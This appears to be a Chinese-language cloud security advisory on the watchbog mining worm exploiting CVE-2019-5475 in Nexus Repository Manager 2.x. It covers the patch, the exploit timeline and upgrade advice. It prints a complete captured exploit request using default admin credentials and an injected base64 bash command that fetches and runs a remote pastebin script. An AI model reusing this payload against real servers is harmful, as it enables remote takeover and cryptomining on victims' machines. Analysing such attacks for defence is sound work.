乐趣区

watchbog再升级企业黄金修补期不断缩小或面临蠕虫和恶意攻击

概要
近日,阿里云安全团队发现 wacthbo 挖矿团伙 [1] 新增了 CVE_2019_5475 的漏洞利用代码,并开始进行尝试性攻击。
通过对 CVE_2019_5475 漏洞的生命周期进行分析后发现,漏洞批量化利用的速度正在提高,如果未能在黄金修补周期内对漏洞进行修补,将有可能很快遭遇蠕虫和恶意攻击程序的攻击。

阿里云目前已第一时间上线默认防御策略。

背景
阿里云安全团队 9 月 6 日捕获了一起新漏洞利用,通过对涉及应用和漏洞的分析,我们确认这是 watchbog 团伙的一次版本更新,此次版本更新引入了新的漏洞 CVE_2019_5475 作为攻击武器,利用该漏洞该蠕虫可以通过几个简单的 HTTP 请求即可达到入侵并控制机器的目的。

漏洞涉及的应用 Nexus 是一个强大的仓库管理器,它可以用于简化内部仓库和外部仓库的访问,是常见的 maven 私服解决方案。但是 Nexus Repository Manager 2.x Capabilities 中存在默认的弱密码账号,在使用 401 登录认证后,即可通过 createrepo 或 mergerepo 配置实现远程命令注入,从而执行任意功能。

漏洞利用 payload
CVE_2019_5475 的利用代码如下所示:

PUT /nexus/service/siesta/capabilities/00009df00fbcea95 HTTP/1.1Content-Length: 472Accept-Encoding: gzip, deflateConnection: closeAccept: application/jsonUser-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5Host: 39.106.194.166:8081Content-Type: application/xmlAuthorization: Basic YWRtaW46YWRtaW4xMjM=<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?><ns2:capability xmlns:ns2=”http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0″><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>mergerepoPath</key><value>bash -c {echo,KGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4fHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4KXxiYXNo}|{base64,-d}|{bash,-i}</value></properties></ns2:capability>
其中使用了 401HTTP 认证,并且存在 admin:admin123 的弱密码,因此只要对 createrepo 或 mergerepo 这两个字段进行命令注入,即可完成攻击。

通过对比漏洞修复前后的相关代码,其主要修改集中在 yum/internal/task/CommandLineExecutor.java 这个文件。

1_

在原有逻辑中,将直接把用户提交的命令进行执行,而修复方案即是增加了一个过滤函数 getCleanCommand。

2command

该函数将判断即将执行命令的文件路径和是否处于白名单内,否则将拒绝执行。

CVE_2019_5475 生命周期回顾
2019-07-23 白帽子上报漏洞
2019-08-09 漏洞概要公开, 厂商更新版本
2019-08-21 漏洞细节和利用代码公开
2019-09-04 国内白帽子提交到 seebug
2019-09-06 蠕虫出现在野利用
我们回顾了 CVE_2019_5475 的整个生命周期,发现其在出现可利用 poc 代码到蠕虫的大规模利用的时间间隔仅为 10 天左右。而原理类似的 CVE-2018-11770(Hadoop yarn RESTAPI 未授权 RCE),其出现可用 poc 到被蠕虫大规模利用的时间约 110 天。

如果用户没有在 8 月 9 日 - 8 月 21 日这个黄金时间内对漏洞进行修补,则可能遭到定向攻击者的成功攻击。
而在 9 月 6 日后,存在漏洞并且还未修复的用户,面对僵尸网络不停的扫描,几乎没有侥幸逃过攻击的可能性。

漏洞生命周期
3_

每个漏洞都有其自身的生命周期,随着横轴时间线的往后,其利用价值也将逐渐降低。
顺着图中的白色线条,一个漏洞将经历从产生、poc 验证、厂商公告、发布补丁以及逐渐消亡的过程,而这个过程也与常说的 0day、1day、Nday 阶段进行对应。

让我们顺着红线,从攻击者的视角来看:

挖掘出一个 poc 后,攻击者可能会进行部分黑客活动进行小范围尝试
小范围的尝试和以及黑客圈子内的传播将扩大该漏洞被发现的可能性
随着漏洞利用价值的降低,部分圈子的泄露,该漏洞的存在被大家所知,并被部分白帽子提交给厂商
厂商将根据收到的漏洞对漏洞进行评估和修补,并同时发布安全公告
黑客们通过安全公告、漏洞详情公告等信息获得线索,并发动手中资源进行挖掘或购买等各种手段获得漏洞利用的详情,并据此开发出相应的攻击代码,并应用在各种恶意代码中
通过以往攻击 case 的分析,我们发现 最大的攻击危害通常发生在大规模的攻击利用中,即漏洞被恶意攻击进行大规模利用前。

如果能在第 5 步前完成漏洞修补或者在之前的几步中及早发现攻击者的攻击尝试,并针对漏洞及早的进行防御和通知厂商进行修补,将能极大的减小该漏洞所造成的损失。

而阿里云实时保护着中国 40% 的网站,在服务百万客户的环境下,阿里云安全团队有机会第一时间看到最多的攻击变种和最大的攻击规模,并第一时间提供安全防御策略,提供安全告警通知,帮助用户更好地应对此类恶意程序的威胁。

安全建议
针对本文提到的漏洞,阿里云平台已可默认拦截。但仍建议使用 Nexus Repository Manager 2.14.14 以下的用户,尽快升级到 version 2.14.14 以免遭遇恶意程序的攻击。

本文作者:云安全专家

原文链接

本文为云栖社区原创内容,未经允许不得转载。

退出移动版